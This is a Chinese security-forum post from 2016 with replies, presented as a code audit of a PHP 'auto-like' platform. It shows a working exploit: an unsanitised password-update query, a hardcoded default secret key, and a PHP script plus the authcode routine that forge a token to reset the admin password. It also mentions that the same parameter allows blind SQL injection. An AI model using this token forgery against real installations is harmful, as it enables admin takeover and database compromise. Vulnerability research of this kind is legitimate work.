查看: 33505|回复: 12

[红客焦点]对某php秒赞程序的一次代码审计

[复制链接]
发表于 2016-1-21 00:36:03 | 显示全部楼层 |阅读模式
本帖最后由 Free_小东 于 2016-1-21 00:41 编辑

很久没在论坛发过文章了,也不知道写点什么。深知自己的不足,所以自己也是一直不断在努力的学习。朋友要搞一个平台,源码是网上下的,叫我看下源码安全性怎么样。自己一直在学习研究代  码审计。于是就在某牛的指导下摸索的看了下这套小众程序。大牛轻喷


先用seay的神器整体看下

图片1.png


看看quanz.php
图片2.png
图片3.png

没有什么卵用,利用不了。继续看



找到/setp.php26
[PHP] 纯文本查看 复制代码
1
if($db->query("update ".C('DB_PREFIX')."users set pwd='$pwd' where user='$user' "))



溯源,往上看,跟踪 $user
[PHP] 纯文本查看 复制代码
1
2
3
$code=authcode(base64_decode($_GET['code']),'DECODE',$syskey);
$arr=explode('||||',$code);
$user=$arr[0];



没有对参数进行任何的处理,直接就入库了。
这段代码的意思呢,就是通过get方式传入code参数,再将参数用base64解密,然后再将解密后的密文通过authcode这个函数再次解密,然后进入下面的流程。

Authcode这个函数是dz的,这里只是照搬过来。具体用法参照百度,这里不再赘述
由于要用到$syskey,所以我们看看上面包含的cons.php 这个文件
图片4.png
Key默认是不会改变的。只要key不变,就能利用
知道解密方式,反过来写出加密过程。
加密代码如下:

[PHP] 纯文本查看 复制代码
1
2
3
4
5
6
7
<?php
include_once "functions.php";
$syskey='Kl3RsQspczEsK1';
$keycode=$_GET['c'];
$m_codes = base64_encode(authcode($keycode.'||||'.time(),'ENCODE',$syskey));
echo $m_codes;
?>

Functions.php部分参考  直接搬过来的


        
[PHP] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
        function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
        $ckey_length = 4;
        $key = md5($key ? $key : ENCRYPT_KEY);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);
        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
        $string_length = strlen($string);
        $result = '';
        $box = range(0, 255);
        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
                $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }
        for($j = $i = 0; $i < 256; $i++) {
                $j = ($j + $box[$i] + $rndkey[$i]) % 256;
                $tmp = $box[$i];
                $box[$i] = $box[$j];
                $box[$j] = $tmp;
        }
        for($a = $j = $i = 0; $i < $string_length; $i++) {
                $a = ($a + 1) % 256;
                $j = ($j + $box[$a]) % 256;
                $tmp = $box[$a];
                $box[$a] = $box[$j];
                $box[$j] = $tmp;
                $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
        if($operation == 'DECODE') {
                if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
                        return substr($result, 26);
                } else {
                        return '';
                }
        } else {
                return $keyc.str_replace('=', '', base64_encode($result));
        }
}
?>


通过该代码我们逆向出admin的密文
图片5.png


成功绕过验证 直接修改admin的密码就可以了
图片6.png
图片7.png



另外这个参数还可以用来盲注,写个脚本跑就可以了。在这里由于已拿到后台就不做陈述

评分

参与人数 6i币 +26 收起 理由
Mrlin + 2 支持原创-
轩轩 -2 sss上的.....
clocks + 8 支持原创
细草微风岸 + 3 支持原创
90_ + 12 支持原创
tx1 + 3 支持

查看全部评分

回复

举报

发表于 2016-1-21 07:24:46 | 显示全部楼层
膜拜大神

评分

参与人数 1i币 -1 收起 理由
clocks -1 恶意灌水!

查看全部评分

回复 支持 反对

举报

发表于 2016-1-21 08:16:38 | 显示全部楼层
膜拜

评分

参与人数 1i币 -1 收起 理由
clocks -1 恶意灌水

查看全部评分

回复

举报

发表于 2016-1-21 10:52:59 | 显示全部楼层
过了没?@90
回复 支持 反对

举报

发表于 2016-1-21 12:57:34 | 显示全部楼层
温馨提醒!所有投稿文章,,不能有任何的“灌水现象”。。所以除技术性回复,其他的 谢谢分享!膜拜!中国红客!http://www.ihonker.org/!  等等 无意义回复统统扣分警告!

点评

啥时候说的,我咋不知道  详情 回复 发表于 2016-1-21 13:16
回复 支持 反对

举报

发表于 2016-1-21 13:16:16 | 显示全部楼层
clocks 发表于 2016-1-21 12:57
温馨提醒!所有投稿文章,,不能有任何的“灌水现象”。。所以除技术性回复,其他的 谢谢分享!膜拜!中国 ...

啥时候说的,我咋不知道

点评

不是他们说的是我说的!技术投稿就要突出技术性。  详情 回复 发表于 2016-1-21 13:19
回复 支持 反对

举报

发表于 2016-1-21 13:19:33 | 显示全部楼层
浮尘 发表于 2016-1-21 13:16
啥时候说的,我咋不知道

不是他们说的是我说的!技术投稿就要突出技术性。
回复 支持 反对

举报

发表于 2016-1-22 09:29:57 | 显示全部楼层
东哥
回复

举报

发表于 2016-1-22 12:27:44 | 显示全部楼层
学习学习
回复 支持 反对

举报

头像被屏蔽
发表于 2016-1-22 12:33:51 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
回复 支持 反对

举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-6-2 14:33 , Processed in 0.206062 second(s), 34 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.